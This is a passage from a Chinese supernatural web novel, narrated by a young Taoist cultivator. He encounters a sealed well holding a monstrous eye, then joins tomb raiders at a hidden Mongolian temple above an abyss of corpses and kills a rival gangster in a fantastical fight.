往里面走,村子挨家挨户的,在往远看,那是一座有点光秃的野山,看上去能有个二三公里的距离。
之前听老人说,这山很邪门,以前有人家住的,后来不知咋地,山上的都搬下来了。
说来也奇怪,我似乎能听到山那边有动静,声音细微,像是一种调调。
我有些不确定的看向欢欢,“欢欢,你能听到那座山有声音吗?”
随着修为大涨,我的听力也异于常人,但这两三公里的距离还能听得到,除非那边是放大喇叭。
欢欢竖着耳朵点了点头。
不知道为啥,我就觉得这声音好听,总想弄清楚个所以然,我跟欢欢说,“走,我们过去看看。”
欢欢点了点头,我们这一人一狗,‘行’字步伐,倒是很快就上来了。
山不高,也没啥树,看上去很秃。背后望过去,还能看到乡那边在看电影呢。
“汪汪汪。”结果我这刚回头,欢欢突然朝着我大叫。我在转头,身后半空中飘着个没有脸的红衣女人。
她浮在半空中,双脚顺着下来,歪着脑袋,像是上吊死的。
我心理素质再好也是吓了一跳。
但很快,这女人的身影就消失了,我双眼用力,看到它朝着一个方向走了过去。
“欢欢,跟过去看看。”我没感受到恶意,只是觉得来都来了,看看无妨。
随着进到山里,我看到了一个村庄,在那一排排年久失修看上去随时都能倒闭的房子中,一座干净的大院落在那太过醒目。
“嗯?”那红衣身影不见了,但我也没太在意,而是把注意力都放在了这大院上。
走近一看,我有些惊讶了,那门上有一条上锈的锁链,在锁链四周都贴着符箓。
而整个院子都被这锁链缠绕,绕了一圈,四周还有撒的白纸钱。
“道家的捆尸索?”我认识这玩意,我沉思道,“确实是道家的捆尸索,但这玩意把院子围起来啥意思?”
我感到奇怪,看了欢欢一眼,“欢欢,你不好奇嘛?跟我跳进去看看?”
欢欢用一种睿智的眼神盯着我,它本能地恐惧,用力地摇了摇头。
连欢欢都怕了,我也更好奇了,“你在这等我,我进去瞧瞧。”
说完我一跃而起,跳入了院子里。
在落地的刹那,我感觉到了一股道力的威压,我惊讶了,这道力非常的纯粹,实力在我之上?
我越来越好奇了,这不起眼的秃山上,怎会有这种地方?
我在院子里转了一圈,院子很大,房子是那种木屋。我有些奇怪,在东北这地界,村子很少有木屋的,基本都是黄土房,因为木屋扛不住风的。
除非是那种住在山里的独户,那种都是早年狩猎的,图个方便弄个木屋。但这地方是个村子,那就显得有些格格不入了。
还有就是这木屋建造得很细腻,不像是东北的建造风格。有点碧落庭院那种感受。
以我的经历而言,我并不怕什么妖魔鬼怪这类的东西,何况祖师爷的传承说过,那就是一团能量。
但有的时候,这种差异感会让人毛骨悚然。在我判定了这建筑不是本地的之后,想到了那捆尸索,有一种对未知的恐惧。
呼。
我感觉到有什么东西在我耳边吹气,我猛地转过身,四周除了一片漆黑,然而什么都没有。
我皱了皱眉头,“你是个啥?”
然而,没有人回应我。
接着,我听到了之前那声音,细细碎碎的,像是有人在念叨。但这次我听得清楚了,那是在唱戏,但我听不懂唱的是啥。
但我能听出来是京剧!
没错,有人在唱京剧,就在这附近!
俗话说得好,好奇害死猫。人呢,还是不要对一些事好奇,这玩意比因果还厉害。
我就好奇了。
来都来了,非要弄清楚咋回事,我开始找那声音。以我对自己的实力认知,连成年的蟒仙都不是我的对手,就算是个妖物?怨气?又如何?
但我错了,这次这玩意真的厉害。我觉得她没有恶意,只是想捉弄我,时不时地在我耳边吹个气,跟我闹。
结果特么的我根本碰不到她,看都看不到,真的满头大汗。
总算看到了那声音的源头,那是一口枯井,井上被一块巨大的岩石压着。石头上用红绳绑着,一堆的铜钱挂在红绳上。
我这一靠近,也不知道是风吹的,还是那铜钱有反应,撞击那岩石响了起来。
那声音就是从井口传出来的。
我这个奇怪啊,好在岩石上有缝隙,我顺势就那么看了下去。
这一看!
别说老子是方士了,就算是大罗金仙来了,也得背后发凉!
……
第七十五章陈红的竹简
井口直径大约一米多宽,望下去漆黑一片,深不见底,就跟那万丈深渊似的。
啥也看不到,反而激起了我的好奇心,越是这样,越想探个究竟。
但我还是有分寸的,只是看,并没有动手挪开这大石头。这石头我大致知道是什么东西了,封印石,也是道家的玩意。
我猜测里面肯定有啥大玩意,所以我干脆运转道力,双眼用力,一探究竟。
但看了半天,也没看出个啥。倒是那唱戏的声音戛然而止了。
“难道是错觉?”我捏着下巴思考。
本来都打算走了,但我突然有种感觉,怎么描述呢,就是我在盯着井看,仿佛里面也有东西在盯着我。
我猛地有朝着缝隙中看了一眼。
轰!
下一秒钟,我脑子仿佛要炸开了,在那井底的深处,我看到了一只眼睛。那眼睛很大,占了半个井那么大,血红色的,中间带着一条黑色眼仁儿。
它在凝视我。
三秒,我跟这东西足足对视三秒,它突然闭上了眼睛,然后消失不见了。
我心脏在狂跳,狠狠地咽了口吐沫,我之所以会这样,一是因为这东西给我的压迫感太强了,蟒天龙在这玩意面前,那就跟小孩子没区别。
还有一点,我能确定它是真实存在的生物!
得走了!
天黑了,看到这种生物,我背后都跟着发凉。至于那红衣女人,唱戏的声音,貌似已经不重要了。
我快速远离这井口,一跃而起跳出来院子。等出来之后,我看到欢欢在那打颤,就跟大冬天冻得哆哆嗦嗦那个样。
“你是不是感受到了什么东西?”说实话,我也被吓到了。这大玩意是真实存在的,极度危险。我想到了老阴山那东西,比那山尸还令人惊恐。
所以我问欢欢,也是给自己一个心理安慰。
欢欢点了点头,蹑手蹑脚的,哪里像条狗。见状,我又回头看了一眼院子然后对欢欢说,“我们走。”
等回到了大姑娘乡,电影已经放完了。我被安排到了隔壁家睡觉,晚上想到那只眼睛,辗转反侧。
直到后半夜,我猛地惊坐,这玩意?会不会跟老阴山有啥关联?
我之所以这样想,是因为我猛地想了起来,那个漂浮在空中吊死的玩意,也穿了一双绣花鞋!
头皮有些发麻,我下炕批了一件外套就出去了。眼下已经是秋季,半夜天气很凉。但我因为修道,体质特殊,倒是没啥感觉。
我仰天望去,先是看向了那远处山的位置,又转头寻找到了老阴山的位置。脑中算了算,两边相隔大约十公里左右。
说近不近,说远不远。
“会是巧合吗?”我深吸一口气,却想不出其中的问题所在,所以暂时又只能把这些东西归于巧合。
但我确实见到了一个未知庞大的生物在那,要是没有那井口的封印石,我认为那玩意会现世。
倒是那山尸,一般人看不到它,它还能附身在安然身上,两者倒是有些不同。
“等等,会不会有这样一种可能。它们本来就存在阳间,本来就是阳间的生物。但因为某种原因,所以不能出现?”我脑子里突然冒出来一个想法,一个连我都不敢相信的奇特想法。
“如果真是这样的话……”我抬头望向那山头,有种震撼的喃喃自语,“那我们跟它们是共存关系,那就说是,还有无数个这种生物?还有更强的?”
哪怕经历了不少事,但我都不敢在想下去了。这种猜测要是成立,那真的很恐怖。
我安慰自己,应该只是偶然,深深地吸了口气,上了个厕所,然后回到屋里面睡下了。
第二天一大早,我们一家人找了个理由就回家了。我还是带着欢欢走路回去的,路上又捉摸了这事。但最后还是没有一个结果。
途中经过一个三叉入口,一边通往老阴山那头,另一边就是黑城,我稍作打量了一下老阴山那个方向,仍然心有余悸。
但我心里很清楚,凡事不会总有结果,有些事能处理就处理,处理不了那就不处理。我不能被这些事给困住。
有些时候处理不了,这也是一种结果。所以我不想了,直接回了家。
转眼九月末,这段时间我尝试再进入那个意识空间,但行不通。不过我又有了新的收获,学会了方士的灵犀指。
这不是什么功法,而是一种方士传承的道术技巧,食指跟中指的指骨和经络发力,运转口诀,道力缠绕在指尖。能破机关,能点穴,能破招等等。
绝对的独门绝技。
我大喜,这灵犀指确实妙不可言。不过就是修炼起来很费劲,修炼小半个月,我还没达到灵活运用的阶段。
陈红回来了,我们在一起温存了一个夜晚。她没食言,从墓里面给我带了一本竹简。
“找人看过了,应该是宋左右的文献。记载的是有关蛟龙的事。”床上,陈红的腿搭在我的腿上,一只手放在我的胸前,那张脸极力地讨好我。
感受着陈红身上的温度,我很惬意地拿着竹简细细品味,上面都是文言文,但我能看懂。
本来这温存挺舒坦的,但随后我扑棱一下坐了起来。
陈红吓了一跳,温温柔柔地问我,“怎么了?”
我没有回复陈红,而是把竹简放在床上,眯了眯眼睛。
这竹简出自蒙省,上面记录的是一条蛟龙从蒙省地底钻出腾空而起。那蛟龙巨大,足有千米长,身上鳞片闪耀。但在蛟龙飞到东北的一处地界之后,突然摔了下来,血肉骨化作了一座延绵千米的大山。这山被人叫做老阴山!
这未免也太巧合了吧?
“这竹简在哪挖出来的?”我问。
“在蒙省的一座古刹下。那是一座通天墓,意思是一座大墓,南北倒斗的合作一起挖。里面应该都是宋的东西。我们吃了一麻袋就走了。但太大了,还在挖呢。”
“还有其他文献吗?”我问。
“没看到,其他队里可能有。我就看了一本,顺手拿了。文献这类东西,一般除了一些老手认识些给钱的教授很少有人拿,因为不值钱,还占地方。要去看看吗?”陈红一双眼睛盯着我,她很聪明。
“去。”我一把抓住她的小手,又说道,“但在这之前,先解决当前的事。”
……
第七十六章死而复生的张坤
陈红脸一红,知道我要做啥,主动地迎合我。
该说不说,这女人媚劲十足,主动,开放,又很会来事,让我觉得很享受。
跟家道了别,我们踏上了前往蒙省的火车。这次我准备得很充足,能带的东西都带上了。
路上陈红说了张坤的事,说是张坤一个月之前就进去了,应该是给毙了。她还来了一句老天有眼。
这事我也有所耳闻,说是省城那边来了人,派了上百人抓捕。但具体的情况我倒是不清楚,仅仅知道张坤完了。
看着陈红那松了口气的模样,我也没提安国强。我倒是有些意外地问她,“那张坤有点事的,想要逃应该不难。”
虽然我跟张坤只见了一次面,但那个人我觉得很危险。不过自从见过蟒天龙,我觉得我想多了,起码现在的我,他肯定不是对手。
倒是没想到人就这样给毙了。
看得出来,张坤给陈红留下了不小的阴影,提到这茬,她脸上仍然有惧怕。
她说,“我听道上的人说了这事,人家来抓他,结果他没跑,反而朝着抓人的拿刀冲了过去。那去抓他的都是身经百战的,直接踉跄撂倒了。但人没死,后来治好了又给毙了的。”
我愣了一下,一时间也不知道该说啥。而我也突然体会到了陆小旺对我说的那句话,火药能镇一切邪祟,镇不住,那是因为火力不足。
这句话放在人身上也一样。
一天多的火车,我们到齐市又转的大客,到了一个扎特旗的地方。
我也是第一次踏入蒙省,本以为这地方会是个大草原。但我想多了,这跟我们那黑城差不多。
而在扎特旗,我见到了陈红的两个手下,其中还有熟人,就是那个凶狠脸。
他们是开车来接我们去古刹的。
一路上凶狠脸对我都很客气,倒是另一个人面无表情,很少说话。陈红管这人叫灯泡。
“红姐,张坤没死。”灯泡开车,凶狠脸坐在副驾驶上,他突然转头看向了陈红说道。
陈红睁大眼睛,“没死?你听谁说的?”
凶狠脸认真道,“红姐,我不是听谁说的,是我见到他本人了。人就在古刹那,他跟着下土了。好像说做完这一票要去国外,船都联系好了。”
我也陷入了沉思,觉得凶狠脸应该说的是真的了。
但陈红很紧张,脸色难看道,“不是说是中枪了吗?还给毙了?”
凶狠脸认真道,“这事也传开了,说是他用了法子,找人替身了。”
陈红沉默了,我倒是没觉得有啥压力,拍了拍她的腿,她的情绪这才好了一点。
下午到的扎特旗,在车上睡了一宿,第二天中午才到了目的地。
这地方叫阿旗,再往前走就是古汗国。而我们在这是一座山,紧挨着古汗边境。
说是山吧也不对,是个高一点山丘。在山丘之中,见到了他们说的那古刹。
“你们是怎么发现这种地方的?”下了车,连我都不得不惊叹,这座古刹太隐秘了。古刹不大,建在了山丘里。
而这边有一条小道,明显是现挖的,很不容易被发现。要是没人指导,在这边转悠都找不到入口。
陈红得意道,“你猜猜为啥?”
看着陈红冲我发嗲,我还真想到了一个原因,“文献资料?”
陈红怔了怔,“你,这都能猜得到?”
我说道,“我之前看过很多考古的书,他们大部分的古墓,都是通过文献资料找到的。你们应该也一样。”
陈红点头,“是的。但这个地方有点不同,据说,这是个僧人的修行之地。我们找到它的时候,里面却没有僧人的尸体。”
我疑惑,“地下也没找到?”
陈红摇头,“这才是啧啧称奇的地方,地下也没有。也没找到舍利子。倒是地下的墓穴太大了,大到我们都不相信它是人能造出来的。”
以我的了解,古僧坐化,特别是这种能修行的古僧,肯定会留下点什么东西。要么肉身不灭,要么坐化成舍利子。
这会的我还没见过舍利子,我对它的判断是结石。
我没在说话,而是朝着古刹走了进去。古刹嵌在山丘内部,看上去像是挖出来了的。它不大,大约占了百平方左右。
但走了进去,里面有供奉台,但没有佛像。四周也都是岩壁。但一束光源却从山丘上倾泻而下,整个堂口非常的亮堂。
“佛像呢?”我问陈红。
“不知道,从我来到这就没见过。这事我也问过其他人,他们也不清楚。”陈红说。
“那些人呢?”我问。
“除了来回送寄养的,应该都在地下呢。”陈红说。
我点了点头,没在说话,但对于这古刹,我隐约地有种不好的预感。我总觉得要有啥事会发生。
“找到了,红姐,下面找到东西了。”凶狠脸拿着对讲机兴奋地说道。
“找到什么了?”陈红兴奋。
“红姐,找到古僧的尸体了,说是在地下三十米的一个洞穴。我们快去看看吧。”凶狠脸说道。
“走!”陈红也迫不及待的说道。
这会的我还是个愣头青,虽然一身的道法,却也没太多概念。
地下三十米,听起来不太深,但真的下去以后会发现,那简直是个无底洞。
直到后来我才知道,这种级别的地下墓,全世界都找不出来几个。已知的金字塔地下墓穴算一个,还有一个嘛,但只是个猜测的皇陵,龙祖的沉睡之地。
但比起这的深度,那差了不是一星半点,等我下去以后才知道,根本不是什么三十米深,而是那古僧的尸体在三十米的那个位置。
至于到底多深,曾有一个女人说过这样一句话,到底的一个都没有。
所以她也不知道有多深!
放在这里,真的非常贴切。
地下的情况错综复杂,每过十米就会有一个火把,起初是一条隧道,但很快出现了一条条隧道。
我们沿途走了大约半个多小时,突然就出现了一道光亮,等走出去连我都愣住了。
那是一个深不见底的深渊,但火把随处可见,岩壁上密密麻麻的山洞,但山洞都不深,有的是棺材,但很显然已经被开棺了。有的里面很空,啥也没有,也有的里面是白骨,是尸体。
再往下看去,大约十几米吧,一个山洞里火光非常的亮,能听到他们吵的声音。
我看了陈红一眼,陈红点了点头,凶狠脸沿着峭壁的石路带我们下去了。
在这!
我又一次见到了张坤。
……
第七十七章古僧尸体
我想任谁都想不到在这草原的山丘下会有如此景象吧。
这地方像是个大裂谷,两边宽度有近二十米的距离,我们走的是悬崖峭壁凿出来的向下延伸的小路。
越往下走,那裂谷越宽,同时也越深。当然,也不是只有这一条路,对面有洞穴,我们这一边也有。
有的洞穴能进去,里面也有路,但那都是通往下一个洞穴的,情况有点复杂,需要熟悉里面的情况才行。
沿途走下去,偶尔碰到几具尸体,看穿着打扮,有当代人,也有百年前的人,他们手里的家伙事五花八门,死的也是奇形怪状。
“这些都是倒斗的前辈,南北方的都有。其中还有些古人,几位大佬探讨过,有魏晋的祖先。”陈红解释道。
“也就是说这些岩壁石道,是他们挖的?”我疑惑。
“这件事我们也商讨过,结论是有五分之一可能是。还有五分之二是天然形成的。剩下五分之二,没法解释。”陈红认真道。
我望向了深渊之下没说话,那底下没了火光,所以一片漆黑,啥也看不到。
那是一种未知的恐怖感,这让我有点心有余悸,会不会跳出来一个庞然大物。
毕竟,有前车之鉴!那井下的东西,现在想起来都觉得毛骨悚然。
但我想多了,沿着石壁一路向下,我们很快就去了那洞穴。
洞穴不深,但是很宽敞,四周已经插满了油布火把,灯火通明。
此刻,这边站了应该是四伙人,每一伙都是两三个,他们陷入了争吵。而在其中,我看到了张坤的那张脸。
陈红应该也是见到了,她对张坤的怕,那是骨子里的,她下意识地拉着我的衣角,躲在我身后。
在往前看去,那洞的最深处,盘坐着一个皮包骨的尸体。尸体皮肤赤红,披着一件红色的粗布,在火光的照耀下,散发着油光,看起来很诡异。
“阿坤,圈内的规矩你应该很清楚,这种圣佛的金身不能碰。碰了,会有大麻烦的。你是有些本事,但你觉得自己比前辈们还厉害吗?下面还有洞穴,肯定有更多的东西,你随便吃,我们不眼馋!”说话的是个约莫五十岁的中年人,穿着格子西装,打了个领带,叼着个烟斗面对张坤。
“就是,你阿坤一个东北挖土的出身,得了点道行还真把自己当祖师爷了?古刹三忌讳,不动圣僧金身,不碰坐化舍利,不念往生经文。你现在要破戒?你是想害人?”说话的是个文质彬彬的男人,看上去有点阴柔。
张坤曾经在黑城呼风唤雨,但在这,倒是有点被压了一头,站在那一声没吭。
但他的眼神却没离开过那圣僧金身,那种贪婪毫不掩饰。再看其他几个人,早就洞悉了他的想法,一直防备着。
所以这边的气氛有点僵持。
“陈小姐,你来了。”说话的是个女人,这是另一伙人了。女人约莫四十来岁,但看上去风情万种。
我有点恍惚,这女人很妖。
“冯大师?”张坤也回过神来,在看到我之后,脸上露出了一抹喜色。
我点了点头没说话,张坤却突然走了过来,跟大家直接介绍我,“几位,我给大家介绍一下,这位是我们黑城的冯道人,我的事就是冯道人给我解决的。不如让冯道人看看?”
张坤三言两语,大家都看向了我。那个西装的中年人撇了撇嘴,“张坤,在你们东北是不是谁都能当个道人啊?我要是没猜错的话,这位小哥能有十八岁?古往今来,还没听说过哪个十八岁的成了道人的!”
另一个文质彬彬的男人也开口了,他倒是没有阴阳怪气,而是很平静的说道,“早些年东北确实有几位本事高超的道人,但现如今嘛,也就那三四个还看得过去。道人这个称呼,是需要有真本事的。张坤,你少在这转移话题,我在这,圣僧的金身你动不得。大不了我在这守着!”
火光中照耀在文质男的脸上,那双眼睛看起来很毒辣。
张坤咬了咬牙,那怒火在眼中闪动,他看来是真想得到这圣僧的金身。
对于几人的争斗我没什么兴趣,我来这也只是为了找文献资料。
本来就是打算看一眼这古刹圣僧尸体是啥样的,然后去找资料。但我撇了一眼那圣僧,突然汗毛都立起来了。
它在看我?
它是活的?
我倒吸一口凉气,又看了一眼,火光中,它纹丝未动,就是一具干瘪的尸体。
“怎么了?”陈红盯着我?
“它动了。”我小声说道。
“啥?”陈红小脸煞白。
我没在回复陈红,运转道力,双眼用力那么一看。在那古僧的头上,坐着一个婴儿大的僧人。那僧人闭着眼睛,盘坐在那,身上散发着佛光。
我眯了眯眼睛,想起了陆小旺头上的莲花老者,这一幕倒是很像。
随后,我看向了张坤,他背后的那三头六臂的罗汉浮现,那三个头流着口水,贪婪地盯着那佛光。
怪不得张坤想要这古僧的金身呢,原来是贪图那佛光小人。
我正想着,接着却在那文质男身后也看到了一道身影,那是一头八尾狐,双眼猩红。但它没看古僧金身,也没看张坤,却是在死死地盯着我。
我收回目光,若无其事地对陈红说道,“我们走吧。”
陈红点了点头对凶狠脸说道,“咱们的人呢,挖到哪了?”
凶狠脸指着了指往上五米左右的位置,“那边发现了器物,大家在装麻袋呢。”
说完,我们就准备走了。
但谁知道张坤却突然朝我吼了一句,“都特么黑城人,你们想这样就走了?是不是太不给我张坤面子了!”
张坤的怒吼声响彻悬崖峭壁,震得陈红捂住了耳朵。
说完,他抽出一把开山挡在了我面前,面目狰狞凶狠。
嗯?
我疑惑地看向张坤,“你这是什么意思?”
张坤指着那古僧尸体趾高气扬道,“没什么意思,就是想让你去把那古僧金身帮我扛到上面去。”
人无语的时候真的会笑的,我无语道,“你自己不是有手有脚吗?古僧尸体就在那,你抗就是了?你这个忙我帮不了。”
……
第七十八章这是个镇魂寺
此刻,洞穴里的火光闪动,场面的气氛安静得可怕。
火光下,张坤的脸色铁青,他手里的开山刀寒光熠熠,朝我进一步逼问,“你到底去,还是不去。”
我也脾气上来了,一个丧家之犬,老子真是给他脸了,“要么滚,要么,死!”
此话一出,现场的气氛都凝固了。从他们的眼神之中不难看出,他们并不看好我。
但我并不在意,一双眸子死死地盯着张坤,上次我之所以没动手,是我对自己的认知不够。
而如今我的实力又突飞猛进,一个道上混的我还真不在意。
“艹!”张坤抬刀朝我劈了过来。
然而,他的速度在我眼里出奇的慢,慢到我有时间思考,我突然想试试灵犀指。
我抬手,两根手指点在那开山刀刃上,轻轻地一拨弄,‘铛’的一声清脆响声,那刀直接断成了两半。
我愣了一下,在场的人也都愣了。
“艹,我特么还真是小瞧你了,还真有点事。正好,这古僧的金身你背着也更方便了。我再问你一遍,背还是不背!”张坤冷冷说道。
“你特么还真是倒反天罡呢!”我气笑了,我把他开山弹断了,他居然反过来威胁我。
我一拳就轰了过去。
铿!
然而,我也轻视了张坤,这一拳有三成力,却被他硬抗了下来。
在拳头撞到他身体的那一刻,发出了闷响声,像是一拳打在了钢板上。
张坤用手扫了扫我打的地方,不屑一顾地说道,“你以为老子混到现在会没本事吗?一个臭道士,我会放在眼里!怎么?很惊讶吗?没想到会打到铁板子上吧?”
看着叫嚣的张坤,我倒是有点惊讶,“炼体吗?哪方面的?”
张坤面露意外之色,“想不到你还知道炼体呢。老子炼的是邪毒体!小子,老子最近虽然遇到了点麻烦,但也不是谁都能动的。今天这尸体你搬也得搬,不搬也得搬。你弄不了我,我也弄不了你。但你有家人吧?哈哈哈!”
在道门之中,炼体是一种很常见的存在。有的人无法修炼道门内功,所以开辟出来的一条道门外功的修炼途径。
修炼到一定程度,能与内功媲美。但自古以来,有正道就有逆道。有些人发现利用五毒蛊术,能达到道门外功的效果,甚至事半功倍。
所以毒体就出现了。当然,还有其他的炼体办法,但都是一个道理。
面对张坤的威胁,我皱了皱眉头,他这些话已经触碰到了我的逆鳞。
见我不说话,张坤异常嚣张道,“哼,冯大师,你确实有些本事。但在我这,你不行。我不怕告诉你,如今我这毒体已经大成,无限接近传说中的筑基期,所以你最好照我说的办,你不是我对手。”
我瞥了他一眼,又瞥了其他几人,我冷冷说道,“你这话的意思就是,你拿他们没办法,觉得能拿捏我对吗?”
张坤脸不红心不跳,“你放心,你只要帮我把圣僧的尸体背上去,他们动不了你!而你的家人,也会平安无事。等我出去,咱们还能交个朋友!”
这次不等我说话,那西装中年人拧眉道,“张坤,你太无下限了,为了一己私利,想害死我们所有人吗?”
张坤却满不在乎,“你们死不死,跟我有啥关系?哼,这古僧的尸体我要定了!”
碰!
然而,他的话音刚落下,我一拳轰了上去。这次五成力,一拳把他镶嵌在了墙上。
“咳咳!”张坤突然吐了半口血,震惊地盯着我。
碰!
又一拳!
七成力!
张坤直接凹了进去。
轰!
场中的人看我的目光变了又变,一片安静。
张坤看上去有些瘪了,但这家伙还真顽强,从墙里面出来了。
他深吸一口气,阴毒地盯着我,“我说了,我可是……”
我不等他把话说完,灵犀指猛地在他心口点了上去。在接触的那一瞬间,我看到了张坤的七经八络,如一条条红蓝线条相知交错。
张坤张了张嘴巴,嘴里的话再也说不出来了,他往身后一栽,在震惊中跌进了深渊。
静!
周围静得可怕,除了那风吹火把的声音,所有人的呼吸声都听得很清楚。
然而,此时此刻我却没有心情去猜他们心中所想,因为我听到了深渊下似乎有动静。
那不是张坤摔下去的声音,而是……一种咀嚼的声音。
“我们走吧。”我看着已经惊呆的陈红,拉了她一把,她这才回过神来,一脸不可置信的盯着我,“他,这次应该死了吧?”
我说道,“应该吧。”
没在理会其他人的反应,我们往上走,来到了另一个洞穴。这里是装着一口棺材,里面的东西已经被拿得七七八八了。
运气不错,我在棺材下还真捡到了一卷竹简,大致的看了一眼,这也是一卷记录竹简。
看完后我愣了一下,这墓主人竟然是一个大唐的道士。他不远天府山而来,为的是探清楚这北方是否有龙。
但一路而来,看的只有人间烟火,最终自己给自己做的棺材,陨落在此。
说实话,看完这竹简我有些失落,原本我来这是想寻找有关老阴山的事,但结果没啥收获。
有点不甘心,我又独自在一些洞穴探了探,结果这次连竹简都没找到。倒不是里面没有,而是应该都被人拿走了。
至于再往下,那里漆黑一片,想到那咀嚼的声音我觉得不在下去了。回到了进来的那个通道口,我朝着深渊看了一眼。
我突然意识到了一个问题,既然那个道士是来找龙的,那肯定是轻快上路,怎么带了一大堆的陪葬品?
而且好像除了那古僧之外,但凡有棺材的,里面都有着大量的陪葬品,还都是各个朝代的?起码我现在知道有南北朝,有宋,有唐?
祭祀?
难道这些宝物都是用来祭祀的?
我突然想到了这两个字。
因为这些想法,我又往下撇了一眼,这次那深渊在我眼中有了些变化。往下看去,那隐隐约约的像是有着一条龙向下俯冲,而那些洞穴,更像是被龙鳞剐蹭的结果。
这一发现我猛地吸了口气,一个大胆的猜测在我脑中形成了,这下面可能有龙渊。
而这些人都是来寻龙的。
因为死的人太多,里面又有高人,所以上面的古刹!
这是个镇魂寺!
……
第七十九章全是尸体
说到镇魂寺,很多人第一时间想到了镇魂塔。但两者完全不是一回事。
塔最早的存在只是为了方便存放佛经,僧人的遗体,舍利子等等。通俗易懂来讲就是个分类的仓库。
再后来因为存放这些东西,慢慢有了佛性,然后成了关押罪大恶极之人的地方,但那会还只是为了感化这类罪人。
直到再后来才用来关押邪祟,有了镇魂塔这一说法。
寺不一样,寺本身就代表了佛法,镇压邪祟妖魔。真正地体现了‘镇’字。
我越想越觉得接近了真相,看着下方那火把火焰连起来的长龙,恍惚间,我像是看到了一个个亡灵在挣扎。
因为镇魂寺的存在,他们恐怕要永远地活在那深渊之下,永世不得超生。
或许他们自己都没想到,因为来寻龙,寻道,结果却被镇压在此地吧?
虽然都只是猜测,但我的内心却觉得有点不舒服,具体怎么个不舒服我说不太清楚,我总觉得不该有这个镇魂寺的存在。
因为太离奇了,它存在的意义是什么?震慑下方的龙渊?还是为了压住前来寻龙道人的元神?
我摇了摇头,思绪越来越乱,我猛地清醒,突然意识到了一些不对劲儿。刚才的那些想法,像是有什么东西特意传给我的。
事情有点邪门,我又撇了一眼那些火把,下面还有倒斗人的忙碌身影。我深吸一口气,不再想着,赶忙沿着小路上去了。
“都是我不好,让你白跑了一趟。你放心,我们这次走帝都那边的路线,那有我认识的老教授,他那有不少文献资料。我不能让你白跑一趟。”见我上来了,陈红急忙迎了上来,一脸的抱歉。
“不是原路吗?”我问。
陈红点头,“行业内的老规矩,拿了地下的东西,最忌讳的就是原路返回,一来防止被人盯上,二来不被地下的主人寻路找到家报复。”
凶狠脸也凑了上来,朝我赔笑,“还有呢,帝都那边有老顾客吃得下,省着摆地摊了。”
陈红白了凶狠脸一眼,“要你多嘴多舌了!”
凶狠脸也不生气,笑呵呵地说道,“红姐,灯泡在下面又发现了点瓶瓶罐罐的,问您要不要打包?”
陈红刚要说话,我开口了,“抓紧让你们的人上来,然后这个地方再也不要碰了。”
凶狠脸奇怪,“大师,这可是难得的。”
不等他把话说完,我斜眼看他,“不想死,就不要再贪了。”
凶狠脸脸色有了些变化,他看了一眼陈红,陈红倒是当机立断道,“听大师的,咱们的人全都上来。”
凶狠脸重重的点了点头,他刚拿起对讲机,对讲机那边的灯泡却突然说话了,“三哥,红姐,这边又延伸了五米,全,全是尸体,全是,尸,尸体。”
凶狠脸愣住了,拿起对讲机询问,“什,什么尸体?”
灯泡喊道,“全是尸体,就是尸体啊,挂在岩壁上,一层层的,像是串串,密密麻麻的。有,有上千具尸体。”
凶狠脸头皮发麻的看了我跟陈红一眼,“快,东西都不要了,带着我们的人上来。”
然而对讲机里传来了‘滋滋啦啦’的动静,信号被干扰了。
半天才又传来灯泡的声音,听上去有气无力,“红,姐,石壁有油,我们,掉下了。”
“灯泡,灯泡!”凶狠脸喊叫,里面却没了动静。
“人没了。”凶狠脸眼中闪过一丝哀伤。
“其他人呢?”陈红深吸一口气。
凶狠脸又拿起对讲机换了频道,但依旧没声音。
“红姐,红姐。”而就在这时,有人灰头土脸地从坑道中上来了。
“土鼠,咋回事?其他人呢?下面发生了什么?”上来的人个子不高,一米左右,他脸色发白。
“走,走。”土鼠吓坏了,一个劲地让我们走。
很显然,下面肯定发生了什么事,但土鼠来不及说。
听陈红说他们来了三十多人,都是这方面的好手,但眼下从这走的就七个人,其中还有两个是运输补给的。
剩下的就是我,陈红,凶狠脸,土鼠,还有个四十岁的大叔,他们管这人叫风叔。
这边来了四辆车,我不知道他们怎么安排的,我,陈红和土鼠一辆车,连夜前往帝都。
路上土鼠说了里面的情况,因为上面三十米高的洞穴都搜刮了一遍,底下的人商量决定合作往下探索。
结果等又往下探了五米,大家看到了又有新的洞穴,一个个欢声雀跃。其中有人激动,不小心把火把掉了下去。
毛骨悚然的一幕出现了,再往下那么半米多的距离,密密麻麻的都是尸体,他们像是粘在了一起,紧紧地贴在了岩壁上,近乎要把深渊给堵上了。
但大家都是倒斗的,胆子也大,有人踩着尸体下去,那些尸体像是下饺子一样,突然下滑。而原本上三十米安全的墙壁也突然裂开了。
谁知道!
那墙壁里面也都是尸体,跟下面一样,像是下饺子似的,灯泡他们因为站在墙壁上,都跟着滑了下去。
土鼠因为眼疾手快,把东西扔了,连滚打趴的才上来的。
“这,这到底是什么地方?几千具尸体?”陈红也吓傻了,盯着我问。
“不知道。”我摇了摇头,但又说道,“上面那古刹是镇魂寺,突然闹出这样大的动静也不稀奇。”
一听是‘镇魂寺’,陈红人有点傻了,支支吾吾的,“镇,镇魂寺?这是尸坑?”
尸坑,顾名思义,全是尸体的大坑。先不说地下裂谷有没有人发现,这地上一片平原,几乎没有人类活动的迹象。
谁会来这埋群尸?
“不是。”我摇头,“这镇魂寺,镇的不是尸坑的亡魂,镇的是那些高人的亡魂。”
我突然眼前一亮,一个想法生出,那些尸体不会都是高人吧?
但我内心又摇了摇头,应该不是了。
路上,我们没有在聊这件事,陈红因为太疲惫,早就睡了。倒是我,盘坐在车后座,闭目养神的修炼。
说来也是挺有意思的,这也是我第一次‘移动’修炼,在蒙省地界修炼速度很快,灵气很充足,但可能是因为‘移动’的缘故,气息不稳定。
等到了燕赵地界,那气息突然就弱了,灵气也变得有些淡薄。
最后到了帝都,这里灵气浓郁,人杰地灵的,除此之外,我还能感受到一股帝王气息,威严,不容冒犯。
……
第八十章奇怪的建筑
等我再次睁开眼,已经到地方了。土鼠坐在驾驶位上,用一种震惊的眼神盯着我。
“有事?”我奇怪地看向土鼠。
土鼠狠狠地咽了口吐沫,它像是点头,又像是摇头,结结巴巴的,“大师,您,您刚才飞起来了?”
我听得莫名其妙,看向一旁已经醒了的陈红,“到地方了?”
陈红似乎也很惊讶,但她倒是没土鼠反应那么大,点了点头,“到了。”
下车后,面前是一栋四合院,这种院子在帝都倒是很常见。但大多数都是几户人家住在一起,这明显是一户。
那就有点不一样了。
还没进门呢,我抬头看了一眼,我有点意外,这会已经秋末了,帝都也冷了些,所以刮的也是冷风。
正常情况下风是有角度的,或是倾斜向上,或是倾斜向下。
